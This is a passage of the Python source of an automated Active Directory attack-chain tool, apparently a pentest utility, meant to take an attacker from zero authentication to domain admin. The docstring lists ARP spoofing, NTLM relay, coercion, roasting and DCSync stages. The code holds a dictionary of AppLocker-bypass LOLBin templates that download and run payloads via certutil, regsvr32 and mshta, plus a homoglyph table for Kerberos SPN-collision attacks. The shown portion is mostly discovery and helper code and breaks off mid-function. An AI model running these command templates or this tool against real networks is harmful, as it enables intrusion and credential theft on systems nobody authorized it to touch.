README.md
Rendering markdown...
#!/usr/bin/env python3
"""
╔══════════════════════════════════════════════════════════════════╗
║ NTLM Relay Attack Chain Automation ║
║ Triop AB — For authorized penetration testing only ║
║ ║
║ Automated zero-auth to domain compromise: ║
║ 1. Auto-discovery (DC, network, interfaces, WSUS) ║
║ 2. ARP spoof NTLM capture (zero-auth, no creds needed) ║
║ 3. WPAD poisoning via mitm6/Responder (IPv6 DNS hijack) ║
║ 4. WSUS relay — intercept Windows Update NTLM auth ║
║ 5. NTLM relay via impacket (leverages CVE-2025-33073) ║
║ 6. Multi-method coercion (PetitPotam, DFSCoerce, PrinterBug, ║
║ ShadowCoerce, MSEven) ║
║ 7. Hash cracking (hashcat/john) ║
║ 8. PXE boot image credential theft via TFTP (zero-auth) ║
║ 9. NTLM theft file drops (.library-ms/.theme on shares) ║
║ 10. Kerberoasting + AS-REP Roasting (credential harvest) ║
║ 11. AD CS — ESC1-17 enum (Certihound) / ESC1-16 exploit ║
║ 12. SCCM NAA credential theft (sccmhunter) ║
║ 13. Shadow Credentials (msDS-KeyCredentialLink via PKINIT) ║
║ 14. RBCD abuse (S4U2Proxy impersonation) ║
║ 15. WebDAV coercion (WebClient HTTP→LDAP relay bypass) ║
║ 16. DHCP coercion (DHCP server machine account relay) ║
║ 17. GPO abuse (pyGPOAbuse scheduled task as SYSTEM) ║
║ 18. WSUS injection + AppLocker bypass (LOLBins/signed updates) ║
║ 19. DCSync + DPAPI backup key extraction ║
║ 20. BloodHound -c All collection + auto high-value analysis ║
║ 21. Auth-reflection bypass (Synacktiv 2026): ║
║ - Unicode-SPN Kerberos reflection (CVE-2025-58726 ghost SPN)║
║ - CVE-2026-24294 LPE (SMB-on-arbitrary-tcpport) ║
║ - CVE-2026-26128 LPE (Kerberos loopback via Unicode SPN) ║
╚══════════════════════════════════════════════════════════════════╝
"""
from __future__ import annotations
import argparse
import ipaddress
import json
import logging
import os
import re
import shutil
import signal
import subprocess
import sys
import textwrap
import threading
import time
import zipfile
from dataclasses import dataclass, field
from datetime import datetime
from pathlib import Path
from typing import Optional
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# Configuration
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
VERSION = "4.10.1"
TOOLS_DIR = Path("/opt/tools")
CVE_DIR = TOOLS_DIR / "CVE-2025-33073"
KRBRELAYX_DIR = TOOLS_DIR / "krbrelayx"
COERCION_METHODS = ["DFSCoerce", "PetitPotam", "PrinterBug", "ShadowCoerce", "MSEven"]
# Unicode homoglyphs for SPN-collision attacks (Synacktiv 2026 Kerberos
# reflection technique, CVE-2025-58726). LCMapStringEx with linguistic
# normalization collapses these to ASCII during AD/Kerberos canonicalization,
# while DnsCache's CompareStringW comparison preserves them — so the DNS
# record points to attacker, but the issued TGS/AP-REQ is for the real host.
# `R` -> circled-R and `.` -> one-dot-leader are the pair shown in the blog.
UNICODE_HOMOGLYPHS = {
"R": "Ⓡ", ".": "․",
"A": "А", "B": "В", "C": "С", "E": "Е", "H": "Н", "I": "І",
"K": "К", "M": "М", "O": "О", "P": "Р", "T": "Т", "X": "Х",
"a": "а", "c": "с", "e": "е", "i": "і", "o": "о", "p": "р",
"x": "х", "y": "у",
}
# Loopback-signing enforcement (March 2026 patch for CVE-2026-26128) is
# present on Server 2025 / Win11 24H2 builds. Hosts at or below these
# build numbers may still be vulnerable to the reflection LPE phases.
# Build floors are conservative — operator confirms via target patch level.
LOOPBACK_VULNERABLE_OS_HINTS = (
"Windows Server 2025",
"Windows 11", # 24H2 = build 26100.x (pre-patch)
"Build 26100",
"Build 26200",
)
# LOLBins that bypass AppLocker default rules (Microsoft-signed, in trusted paths)
LOLBINS = {
"mshta": 'mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""{cmd}"", 0:close")',
"certutil": 'cmd /c certutil -urlcache -split -f {url} C:\\Windows\\Tasks\\svc.exe & C:\\Windows\\Tasks\\svc.exe',
"msbuild": 'C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe C:\\Windows\\Tasks\\payload.csproj',
"regsvr32": 'regsvr32 /s /n /u /i:{url} scrobj.dll',
"rundll32": 'rundll32.exe javascript:"\\..\\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").Run("{cmd}")',
"wmic": 'wmic os get /format:"{url}"',
"cmstp": 'cmstp.exe /ni /s C:\\Windows\\Tasks\\payload.inf',
}
# AppLocker-safe writable directories under default Windows trusted paths
APPLOCKER_SAFE_PATHS = [
"C:\\Windows\\Tasks",
"C:\\Windows\\Temp",
"C:\\Windows\\tracing",
"C:\\Windows\\System32\\spool\\drivers\\color",
"C:\\Windows\\SoftwareDistribution",
]
# WSUS default ports
WSUS_HTTP_PORT = 8530
WSUS_HTTPS_PORT = 8531
WORDLISTS = [
Path("/usr/share/wordlists/rockyou.txt"),
Path("/usr/share/wordlists/rockyou.txt.gz"),
Path("/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt"),
Path("/usr/share/wordlists/fasttrack.txt"),
]
@dataclass
class Config:
"""Attack chain configuration — auto-populated by discovery."""
# Credentials (optional for zero-auth ARP mode)
username: str = ""
password: str = ""
nthash: str = ""
domain: str = ""
# Network
attacker_ip: str = ""
iface: str = ""
gateway: str = ""
target_net: str = ""
specific_target: str = ""
dc_ip: str = ""
dc_fqdn: str = ""
# Attack options
method: str = ""
custom_cmd: str = ""
use_socks: bool = False
smb_signing: bool = False
no_dcsync: bool = False
no_cleanup: bool = False
no_arp: bool = False
batch: bool = False
poison_duration: int = 120
# WPAD/WSUS options
wsus_server: str = ""
wsus_port: int = 0
wsus_https: bool = False
wsus_certfile: str = ""
wsus_keyfile: str = ""
no_wpad: bool = False
no_wsus: bool = False
sniff_duration: int = 30
# AppLocker bypass options
applocker: bool = False
lolbin: str = ""
payload_url: str = ""
# AD CS options
no_adcs: bool = False
ca_name: str = ""
esc_victim_user: str = "" # ESC9/ESC10 victim — UPN-swap target
esc_victim_password: str = ""
# Roasting options
no_roast: bool = False
# NTLM theft file drop options
no_ntlm_theft: bool = False
# SCCM options
no_sccm: bool = False
sccm_server: str = ""
# Shadow Credentials / RBCD options
no_shadow_creds: bool = False
no_rbcd: bool = False
machine_account: str = ""
machine_password: str = ""
alt_spn: str = "" # KCD protocol-transition bypass (tgssub-style)
in_ccache: str = "" # input ccache for --phase tgs-rewrite
target_user: str = "" # for --phase dollar-ticket (e.g., 'root')
# DPAPI options
no_dpapi: bool = False
# BloodHound options (v4.9.0 — post-auth graph collection + analysis)
no_bloodhound: bool = False
no_bh_auto_action: bool = False # disable opportunistic chains from BH actionable edges
# Loot options (v4.9.0 — cmdline + KeePass harvest on compromised hosts)
no_loot: bool = False
# Credential discovery options (v4.7.0 — pre-cut zero-auth foothold)
no_discover: bool = False
users_file: str = "" # path to user list; auto-falls back to SecLists
spray_password: str = "" # single password to spray; empty = skip spray
discovered_users: list = field(default_factory=list, repr=False)
# Authentication-reflection bypass options (v4.8.0 — Synacktiv 2026 chain)
unicode_spn: bool = False # Kerberos AP-REQ reflection via Unicode SPN collision
no_ghost_spn: bool = False # skip CVE-2025-58726 ghost-SPN upgrade after LDAP relay
no_loopback_check: bool = False # skip loopback-signing fingerprint during enum
reflect_host: str = "" # foothold host for reflect-tcpport/reflect-loopback (cosmetic — script is generic)
reflect_port: int = 12345 # arbitrary high port for SMB-on-tcpport (CVE-2026-24294)
# Runtime
phase: str = "full"
dry_run: bool = False
verbose: bool = False
work_dir: Path = field(default_factory=lambda: Path("."))
# State
bg_processes: list = field(default_factory=list, repr=False)
start_time: float = field(default_factory=time.time, repr=False)
@property
def has_creds(self) -> bool:
return bool(self.username and (self.password or self.nthash))
@property
def auth_string(self) -> str:
"""Impacket-style DOMAIN/user:pass string."""
if self.nthash:
return f"{self.domain}/{self.username}"
return f"{self.domain}/{self.username}:{self.password}"
@property
def auth_args(self) -> list[str]:
"""Auth arguments for impacket tools."""
if self.nthash:
return [f"{self.domain}/{self.username}", "-hashes", f":{self.nthash}"]
return [f"{self.domain}/{self.username}:{self.password}"]
def cleanup(self):
"""Kill all background processes and close file handles."""
for proc in self.bg_processes:
try:
if hasattr(proc, 'poll') and proc.poll() is None:
os.killpg(proc.pid, signal.SIGTERM)
proc.wait(timeout=5)
except Exception:
try:
proc.kill()
except Exception:
pass
# Close tracked file handles
try:
fh = getattr(proc, '_outfile', None)
if fh and fh != subprocess.DEVNULL:
fh.close()
except Exception:
pass
self.bg_processes.clear()
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# Logging — colors, emojis, timestamps, file output
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
class Colors:
RED = "\033[0;31m"
BOLD_RED = "\033[1;31m"
GREEN = "\033[0;32m"
BOLD_GREEN = "\033[1;32m"
YELLOW = "\033[1;33m"
BOLD_YELLOW = "\033[1;33m"
BLUE = "\033[0;34m"
BOLD_BLUE = "\033[1;34m"
MAGENTA = "\033[0;35m"
BOLD_MAGENTA = "\033[1;35m"
CYAN = "\033[0;36m"
BOLD_CYAN = "\033[1;36m"
WHITE = "\033[1;37m"
DIM = "\033[2m"
BOLD = "\033[1m"
NC = "\033[0m"
C = Colors
class EmojiFormatter(logging.Formatter):
"""Console formatter with colors, emojis, and timestamps."""
FORMATS = {
logging.DEBUG: f"{C.DIM}[%(asctime)s] 🔍 %(message)s{C.NC}",
logging.INFO: f"{C.BLUE}[%(asctime)s]{C.NC} 🔵 %(message)s",
logging.WARNING: f"{C.YELLOW}[%(asctime)s]{C.NC} ⚠️ %(message)s",
logging.ERROR: f"{C.RED}[%(asctime)s]{C.NC} ❌ %(message)s",
logging.CRITICAL: f"{C.BOLD_RED}[%(asctime)s]{C.NC} 💀 %(message)s",
25: f"{C.GREEN}[%(asctime)s]{C.NC} ✅ %(message)s", # SUCCESS
26: f"{C.CYAN} ℹ️ %(message)s{C.NC}", # INFO_DETAIL
27: f"{C.BOLD_MAGENTA}%(message)s{C.NC}", # PHASE
}
def format(self, record):
fmt = self.FORMATS.get(record.levelno, self.FORMATS[logging.INFO])
formatter = logging.Formatter(fmt, datefmt="%H:%M:%S")
return formatter.format(record)
class FileFormatter(logging.Formatter):
"""Plain-text formatter for log files (no ANSI codes)."""
def format(self, record):
ts = datetime.fromtimestamp(record.created).strftime("%Y-%m-%d %H:%M:%S")
level = {25: "OK", 26: "INFO", 27: "PHASE"}.get(record.levelno, record.levelname)
return f"[{ts}] [{level}] {record.getMessage()}"
# Custom log levels
logging.addLevelName(25, "SUCCESS")
logging.addLevelName(26, "DETAIL")
logging.addLevelName(27, "PHASE")
log = logging.getLogger("ntlm-chain")
log.setLevel(logging.DEBUG)
# Console handler
_console = logging.StreamHandler(sys.stdout)
_console.setFormatter(EmojiFormatter())
_console.setLevel(logging.INFO)
log.addHandler(_console)
# File handler (added later when work_dir is known)
_file_handler: Optional[logging.FileHandler] = None
def setup_file_logging(work_dir: Path):
global _file_handler
log_path = work_dir / "chain.log"
_file_handler = logging.FileHandler(log_path, encoding="utf-8")
_file_handler.setFormatter(FileFormatter())
_file_handler.setLevel(logging.DEBUG)
log.addHandler(_file_handler)
log.debug(f"Logging to {log_path}")
def ok(msg: str):
log.log(25, msg)
def detail(msg: str):
log.log(26, msg)
def phase_header(title: str):
bar = "━" * 56
log.log(27, f"\n{bar}")
log.log(27, f" 🎯 {title}")
log.log(27, bar + "\n")
def success_box(msg: str):
print(f"\n{C.BOLD_GREEN}╔══════════════════════════════════════════════════════╗")
print(f"║ 🏆 {msg:<50} ║")
print(f"╚══════════════════════════════════════════════════════╝{C.NC}\n")
log.log(25, f"SUCCESS: {msg}")
def fail_box(msg: str):
print(f"\n{C.BOLD_RED}╔══════════════════════════════════════════════════════╗")
print(f"║ 💀 {msg:<50} ║")
print(f"╚══════════════════════════════════════════════════════╝{C.NC}\n")
log.error(f"FAILED: {msg}")
def separator():
print(f"{C.DIM}{'─' * 56}{C.NC}")
def banner():
print(f"""{C.BOLD_RED}
_ ___ _ _ ___
/_\\ | \\ /_\\ _ _| |_ ___| _ \\__ __ ___ _
/ _ \\| |) | / _ \\ || | _/ _ \\ _/\\ V V / ' \\
/_/ \\_\\___/ /_/ \\_\\_,_|\\__\\___/_| \\_/\\_/|_||_|
{C.NC}""")
print(f"{C.BOLD_CYAN} ⚡ Zero-Auth to Domain Admin — Attack Chain{C.NC}")
print(f"{C.DIM} ARP | WPAD | WSUS | PXE | AD CS | SCCM | Roast | RBCD | GPO | DCSync{C.NC}")
print(f"{C.DIM} 🔧 v{VERSION} | Triop AB | Authorized testing only{C.NC}")
print(f"{C.DIM} 📋 Full log: <work_dir>/chain.log{C.NC}\n")
separator()
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# Shell helpers
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
def run(cmd: list[str], cfg: Config, timeout: int = 300,
capture: bool = True, bg: bool = False,
outfile: Optional[Path] = None) -> subprocess.CompletedProcess | subprocess.Popen:
"""Run a command, log it, optionally save output to file."""
cmd_str = " ".join(str(c) for c in cmd)
log.debug(f"$ {cmd_str}")
if cfg.dry_run:
# Print + return-without-launching applies to BOTH foreground and
# background calls. Without this, --dry-run would still spawn ARP
# spoofers, mitm6, Responder, ntlmrelayx, etc. — a serious safety
# bug on customer networks.
tag = "DRY RUN bg" if bg else "DRY RUN"
print(f"{C.YELLOW} [{tag}] {cmd_str}{C.NC}")
return subprocess.CompletedProcess(cmd, 0, stdout="", stderr="")
if bg:
f_out = None
try:
f_out = open(outfile, "w") if outfile else subprocess.DEVNULL
proc = subprocess.Popen(
cmd, stdout=f_out, stderr=subprocess.STDOUT,
text=True, preexec_fn=os.setpgrp
)
proc._outfile = f_out # track for cleanup
cfg.bg_processes.append(proc)
return proc
except FileNotFoundError:
log.error(f"Command not found: {cmd[0]}")
if f_out and f_out != subprocess.DEVNULL:
f_out.close()
return subprocess.CompletedProcess(cmd, 127, stdout="", stderr="not found")
except Exception as e:
log.error(f"Failed to start background process: {e}")
if f_out and f_out != subprocess.DEVNULL:
f_out.close()
return subprocess.CompletedProcess(cmd, 1, stdout="", stderr=str(e))
try:
result = subprocess.run(
cmd, capture_output=capture, text=True, timeout=timeout
)
if outfile:
outfile.write_text(result.stdout + (result.stderr or ""))
# Stream output if not capturing
if not capture and result.stdout:
print(result.stdout, end="")
return result
except subprocess.TimeoutExpired as e:
log.warning(f"Command timed out after {timeout}s: {cmd_str}")
# Persist any output captured before the timeout — required for
# phases like passive_sniff() that intentionally run to timeout.
# subprocess.TimeoutExpired carries .stdout/.stderr (bytes or str
# depending on text= flag); coerce to str for write_text.
if outfile:
def _to_str(x):
if x is None: return ""
return x.decode(errors="replace") if isinstance(x, bytes) else x
outfile.write_text(_to_str(e.stdout) + _to_str(e.stderr))
return subprocess.CompletedProcess(cmd, 1, stdout="", stderr="timeout")
except FileNotFoundError:
log.error(f"Command not found: {cmd[0]}")
return subprocess.CompletedProcess(cmd, 127, stdout="", stderr="not found")
def _nxc_auth_args(cfg) -> list[str]:
"""Build nxc authentication arguments, supporting both password and nthash."""
if cfg.nthash:
return ["-u", cfg.username, "-H", cfg.nthash, "-d", cfg.domain]
return ["-u", cfg.username, "-p", cfg.password, "-d", cfg.domain]
def _bloody_auth_args(cfg) -> list[str]:
"""Build bloodyAD authentication arguments."""
args = ["-d", cfg.domain, "-u", cfg.username, "--host", cfg.dc_ip]
if cfg.nthash:
args += ["-p", f":{cfg.nthash}"]
else:
args += ["-p", cfg.password]
return args
def _first_line(text: str) -> str:
"""Safely get first non-empty line from text, or empty string."""
lines = text.strip().splitlines()
return lines[0] if lines else ""
def tool_exists(name: str) -> bool:
return shutil.which(name) is not None
def find_tool(*names: str, paths: list[Path] | None = None) -> Optional[str]:
"""Find a tool by checking multiple names and paths."""
for name in names:
if shutil.which(name):
return name
if paths:
for p in paths:
if p.exists():
return f"python3 {p}"
return None
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# Auto-Discovery
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
class AutoDiscovery:
"""Detect network config: interface, IPs, domain, DC, gateway, subnet."""
def __init__(self, cfg: Config):
self.cfg = cfg
self.detected = 0
# Track attrs set by this discovery run so _skip() doesn't relabel
# them as "user-specified" when re-checked by a later detect step
self._auto_set: set[str] = set()
def run_all(self):
phase_header("AUTO-DISCOVERY")
self._detect_interface()
self._detect_attacker_ip()
self._detect_gateway()
self._detect_subnet()
if self.cfg.has_creds or self.cfg.phase != "arp":
# Subnet sweep first when domain+dc_ip both unknown — breaks the
# chicken-and-egg where _detect_domain needs dc_ip and
# _detect_dc_ip needs domain. Common on AWS / VPC labs where
# resolv.conf doesn't point at AD DNS.
self._detect_dc_via_scan()
self._detect_domain()
self._detect_dc_ip()
self._detect_dc_fqdn()
ok(f"Auto-discovery complete ({self.detected} values detected)")
def _set(self, attr: str, value: str, method: str):
"""Set config attribute and log it."""
if value:
setattr(self.cfg, attr, value)
self._auto_set.add(attr)
ok(f"{attr.replace('_', ' ').title()}: {value} (auto: {method})")
self.detected += 1
def _skip(self, attr: str):
val = getattr(self.cfg, attr)
if val:
# If we set this in an earlier discovery step, don't re-log
# (would mislabel as "user-specified")
if attr not in self._auto_set:
detail(f"{attr.replace('_', ' ').title()}: {val} (user-specified)")
return True
return False
def _detect_interface(self):
# If user supplied an iface, validate it exists — fall back to auto if not
if self.cfg.iface:
if Path(f"/sys/class/net/{self.cfg.iface}").exists():
detail(f"Iface: {self.cfg.iface} (user-specified)")
return
log.warning(f"Iface '{self.cfg.iface}' does not exist — auto-detecting")
self.cfg.iface = ""
try:
out = subprocess.check_output(
["ip", "route", "show", "default"], text=True, timeout=5,
stderr=subprocess.DEVNULL
)
for line in out.splitlines():
if "default" in line:
parts = line.split()
idx = parts.index("dev") + 1 if "dev" in parts else -1
if idx > 0 and idx < len(parts):
self._set("iface", parts[idx], "default route")
return
except Exception:
pass
log.warning("Could not detect network interface")
def _detect_attacker_ip(self):
if self._skip("attacker_ip"):
return
try:
out = subprocess.check_output(
["ip", "-4", "route", "get", "1.1.1.1"], text=True, timeout=5,
stderr=subprocess.DEVNULL
)
m = re.search(r"src (\d+\.\d+\.\d+\.\d+)", out)
if m:
self._set("attacker_ip", m.group(1), f"interface {self.cfg.iface}")
return
except Exception:
pass
# Fallback: from interface
if self.cfg.iface:
try:
out = subprocess.check_output(
["ip", "-4", "addr", "show", self.cfg.iface], text=True, timeout=5,
stderr=subprocess.DEVNULL
)
m = re.search(r"inet (\d+\.\d+\.\d+\.\d+)", out)
if m:
self._set("attacker_ip", m.group(1), self.cfg.iface)
return
except Exception:
pass
log.error("Could not detect attacker IP — specify with -a")
def _detect_gateway(self):
if self._skip("gateway"):
return
try:
out = subprocess.check_output(
["ip", "route", "show", "default"], text=True, timeout=5,
stderr=subprocess.DEVNULL
)
m = re.search(r"default via (\d+\.\d+\.\d+\.\d+)", out)
if m:
self._set("gateway", m.group(1), "default route")
return
except Exception:
pass
if self.cfg.dc_ip:
self.cfg.gateway = self.cfg.dc_ip
log.warning(f"Gateway: {self.cfg.dc_ip} (using DC IP as fallback)")
def _detect_subnet(self):
if self.cfg.target_net or self.cfg.specific_target:
if self.cfg.target_net:
detail(f"Target net: {self.cfg.target_net} (user-specified)")
return
if self.cfg.iface:
try:
out = subprocess.check_output(
["ip", "-4", "addr", "show", self.cfg.iface], text=True, timeout=5,
stderr=subprocess.DEVNULL
)
m = re.search(r"inet (\d+\.\d+\.\d+\.\d+/\d+)", out)
if m:
net = str(ipaddress.ip_network(m.group(1), strict=False))
self._set("target_net", net, self.cfg.iface)
return
except Exception:
pass
log.error("Could not detect target subnet — specify with -t")
def _detect_dc_via_scan(self):
"""Sweep nearby subnets with `nxc smb` to find any domain-joined host.
Most common (domain:DOM) advertised in the SMB banners wins; the
first host in that domain that also has SMB signing on becomes the
dc_ip candidate (DCs require signing by default).
Tries multiple candidate ranges in order: target_net (interface
subnet, often /26 on AWS), then the /24 derived from attacker_ip
(covers separate AD subnet on the same VPC). Sets cfg.domain
+ cfg.dc_ip + cfg.dc_fqdn in one shot, breaking the chicken-
and-egg dependency between _detect_domain and _detect_dc_ip."""
if self.cfg.dc_ip and self.cfg.domain:
return
if not tool_exists("nxc"):
return
ranges: list[str] = []
if self.cfg.target_net:
ranges.append(self.cfg.target_net)
# Widen to /24 around attacker_ip if not already covered (AWS labs
# often put jumpbox and AD hosts on different subnets within a /24)
if self.cfg.attacker_ip:
try:
wider = str(ipaddress.ip_network(
f"{self.cfg.attacker_ip}/24", strict=False))
if wider not in ranges:
ranges.append(wider)
except Exception:
pass
for net_str in ranges:
try:
net = ipaddress.ip_network(net_str, strict=False)
if net.num_addresses > 1024:
detail(f"Skipping {net_str} (too large: {net.num_addresses} hosts)")
continue
except Exception:
continue
log.info(f"🔍 nxc smb sweep on {net_str} for domain-joined hosts...")
try:
out = subprocess.check_output(
["nxc", "smb", net_str],
text=True, timeout=180, stderr=subprocess.DEVNULL
)
except Exception as e:
log.debug(f"nxc sweep on {net_str} failed: {e}")
continue
domain_counts: dict[str, int] = {}
candidates: list[tuple[str, str, bool, str]] = []
for line in out.splitlines():
m = re.search(
r"SMB\s+(\d+\.\d+\.\d+\.\d+)\s+\d+\s+(\S+)\s+\[\*\].*?domain:([^\s)]+).*?signing:(\w+)",
line,
)
if not m:
continue
ip, name, dom, signing = m.group(1), m.group(2), m.group(3), m.group(4) == "True"
if dom and "." in dom:
domain_counts[dom] = domain_counts.get(dom, 0) + 1
candidates.append((ip, name, signing, dom))
if not domain_counts:
detail(f"No domain-joined hosts on {net_str}")
continue
best_dom = max(domain_counts.items(), key=lambda kv: kv[1])[0]
if not self.cfg.domain:
self._set("domain", best_dom, f"nxc sweep {net_str}")
if not self.cfg.dc_ip:
# Prefer hosts with signing=True (DCs require signing by default)
for ip, name, signing, dom in candidates:
if dom == best_dom and signing:
self._set("dc_ip", ip, f"nxc sweep {net_str} (signing=True)")
if not self.cfg.dc_fqdn:
self._set("dc_fqdn", f"{name.lower()}.{best_dom}",
f"nxc sweep {net_str}")
return
# Fallback: first host in domain (member server)
for ip, name, signing, dom in candidates:
if dom == best_dom:
self._set("dc_ip", ip, f"nxc sweep {net_str}")
if not self.cfg.dc_fqdn:
self._set("dc_fqdn", f"{name.lower()}.{best_dom}",
f"nxc sweep {net_str}")
return
return # found domain — don't widen further
def _detect_domain(self):
if self._skip("domain"):
return
# Method 1: resolv.conf (search/domain directives)
resolv = Path("/etc/resolv.conf")
if resolv.exists():
for line in resolv.read_text().splitlines():
if line.startswith("search "):
dom = line.split()[1] if len(line.split()) > 1 else ""
# Skip generic/cloud domains
if dom and "." in dom and not dom.endswith((".internal", ".local.cloud", ".amazonaws.com", ".compute.internal")):
self._set("domain", dom, "resolv.conf")
return
if line.startswith("domain "):
dom = line.split()[1] if len(line.split()) > 1 else ""
if dom and not dom.endswith((".internal", ".amazonaws.com", ".compute.internal")):
self._set("domain", dom, "resolv.conf")
return
# Method 2: Reverse DNS on the gateway or DC IP
target_ip = self.cfg.dc_ip or self.cfg.gateway
if target_ip and tool_exists("nmap"):
try:
out = subprocess.check_output(
["nmap", "-sn", "-Pn", "--system-dns", target_ip],
timeout=10, text=True, stderr=subprocess.DEVNULL
)
# Look for FQDN like "dc01.corp.local" (not IP addresses)
fqdn_match = re.search(r"for\s+([a-zA-Z][a-zA-Z0-9-]+\.[a-zA-Z0-9.-]+)", out)
if fqdn_match:
fqdn = fqdn_match.group(1)
# Extract domain from FQDN (remove hostname)
parts = fqdn.split(".")
if len(parts) >= 3:
dom = ".".join(parts[1:])
elif len(parts) == 2:
dom = fqdn
else:
dom = ""
if dom and not re.match(r"^\d+\.\d+", dom): # Not an IP
self._set("domain", dom, "reverse DNS")
return
except Exception:
pass
# Method 3: LDAP rootDSE query against DC (zero-auth)
if self.cfg.dc_ip:
try:
out = subprocess.check_output(
["ldapsearch", "-x", "-H", f"ldap://{self.cfg.dc_ip}",
"-s", "base", "-b", "", "defaultNamingContext"],
timeout=10, text=True, stderr=subprocess.DEVNULL
)
# Parse "defaultNamingContext: DC=corp,DC=local"
dn_match = re.search(r"defaultNamingContext:\s*(DC=.+)", out, re.IGNORECASE)
if dn_match:
dom = dn_match.group(1).replace("DC=", "").replace(",", ".")
self._set("domain", dom, "LDAP rootDSE")
return
except Exception:
pass
# Method 4: SMB null session (nxc)
if self.cfg.dc_ip and tool_exists("nxc"):
try:
out = subprocess.check_output(
["nxc", "smb", self.cfg.dc_ip, "-u", "", "-p", ""],
timeout=15, text=True, stderr=subprocess.DEVNULL
)
# Parse "domain:CORP.LOCAL" from nxc output
dom_match = re.search(r"domain:(\S+)", out, re.IGNORECASE)
if dom_match:
dom = dom_match.group(1)
if "." in dom:
self._set("domain", dom, "SMB null session")
return
except Exception:
pass
log.error("Could not detect domain — specify with -d")
def _detect_dc_ip(self):
if self._skip("dc_ip"):
return
domain = self.cfg.domain
if not domain:
return
# Build a list of dig invocations to try, in order. When
# cfg.gateway is on the same subnet as a likely DC, also probe
# there in case the DC was discovered in some other way.
dig_targets: list[list[str]] = [[]] # [] = system resolver
# If the user specified a DC IP somewhere upstream, prefer it
# explicitly — works around AWS / VPC labs where resolv.conf
# doesn't point at the AD DNS server.
if self.cfg.dc_ip:
dig_targets.insert(0, [f"@{self.cfg.dc_ip}"])
# SRV lookup with each candidate resolver
if tool_exists("dig"):
for at in dig_targets:
try:
out = subprocess.check_output(
["dig", "+short", "+timeout=3"] + at +
["SRV", f"_ldap._tcp.dc._msdcs.{domain}"],
text=True, timeout=10, stderr=subprocess.DEVNULL
)
lines = sorted(out.strip().splitlines())
if not lines:
continue
host = lines[0].split()[-1].rstrip(".")
out2 = subprocess.check_output(
["dig", "+short", "+timeout=3"] + at + ["A", host],
text=True, timeout=5, stderr=subprocess.DEVNULL
)
ip = out2.strip().splitlines()[0] if out2.strip() else ""
if ip:
method = "DNS SRV _ldap._tcp"
if at:
method += f" {at[0]}"
self._set("dc_ip", ip, method)
return
except Exception:
continue
# Fallback: resolve domain directly
if tool_exists("dig"):
for at in dig_targets:
try:
out = subprocess.check_output(
["dig", "+short", "+timeout=3"] + at + ["A", domain],
text=True, timeout=5, stderr=subprocess.DEVNULL
)
ip = out.strip().splitlines()[0] if out.strip() else ""
if ip:
self._set("dc_ip", ip, f"DNS A {domain}")
return
except Exception:
continue
log.error("Could not detect DC IP — specify with --dc-ip")
def _detect_dc_fqdn(self):
if self._skip("dc_fqdn"):
return
dc_ip = self.cfg.dc_ip
domain = self.cfg.domain
if not dc_ip:
return
# Reverse DNS
if tool_exists("dig"):
try:
out = subprocess.check_output(
["dig", "+short", "-x", dc_ip], text=True, timeout=5,
stderr=subprocess.DEVNULL
)
fqdn = out.strip().splitlines()[0].rstrip(".") if out.strip() else ""
if fqdn:
self._set("dc_fqdn", fqdn, "reverse DNS")
return
except Exception:
pass
# nxc fingerprint
if tool_exists("nxc"):
try:
out = subprocess.check_output(
["nxc", "smb", dc_ip], text=True, timeout=15, stderr=subprocess.DEVNULL
)
# nxc prints "(name:HOST) (domain:DOM)" — \S+ would eat the ')'
m = re.search(r"name:([^\s)]+)", out, re.IGNORECASE)
if m:
self._set("dc_fqdn", f"{m.group(1)}.{domain}", "nxc SMB")
return
except Exception:
pass
# Guess
self.cfg.dc_fqdn = f"DC.{domain}"
log.warning(f"DC FQDN: {self.cfg.dc_fqdn} (guessed — override with --dc-fqdn)")
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# Prerequisites
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
def _check_impacket_ntlmrelayx_consistency() -> bool:
"""Detect the impacket wrapper/library version mismatch where the
stale CLI wrapper (e.g. /home/goad/.local/bin/ntlmrelayx.py from an
old `pip install --user impacket`) calls
`NTLMRelayxConfig.setRPCOptions(...)` with fewer args than the
currently installed library expects, causing a TypeError on every
invocation. Common after a system-wide `pip install --upgrade
impacket` over an older user-site wrapper. Pure-introspection so
it runs in milliseconds without spawning the binary.
Returns True if no mismatch detected (or check skipped).
Returns False (and logs a loud warning) if mismatch found."""
if not tool_exists("impacket-ntlmrelayx"):
return True
script_path = shutil.which("impacket-ntlmrelayx")
if not script_path:
return True
try:
# Resolve symlink — the actual Python wrapper file we want to read
actual_path = Path(script_path).resolve()
content = actual_path.read_text(errors="replace")
except Exception:
return True # can't read wrapper, skip check silently
# Find how many positional args the wrapper passes
m = re.search(r"\.setRPCOptions\s*\(([^)]*)\)", content)
if not m:
return True # wrapper doesn't call setRPCOptions, no risk
args_passed = [a.strip() for a in m.group(1).split(",") if a.strip()]
n_passed = len(args_passed)
# Find how many the installed library requires (Python introspection).
# Class moved between minor versions; try the known module paths.
cls = None
for module_path in (
